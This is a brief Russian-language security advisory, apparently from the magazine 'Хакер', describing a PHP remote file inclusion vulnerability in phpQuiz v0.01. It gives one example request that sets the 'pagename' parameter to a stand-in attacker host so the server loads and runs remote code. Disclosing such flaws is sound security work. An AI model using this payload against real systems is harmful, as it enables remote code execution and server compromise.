PHP-инклюдинг в phpQuiz

Рекомендуем почитать:

Хакер #306. OAuth от и до

• Содержание выпуска
• Подписка на «Хакер»-60%

Программа: phpQuiz v0.01

Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе.

Пример:

http://somehost/path_to_phpQuiz/index.php?pagename=http://evil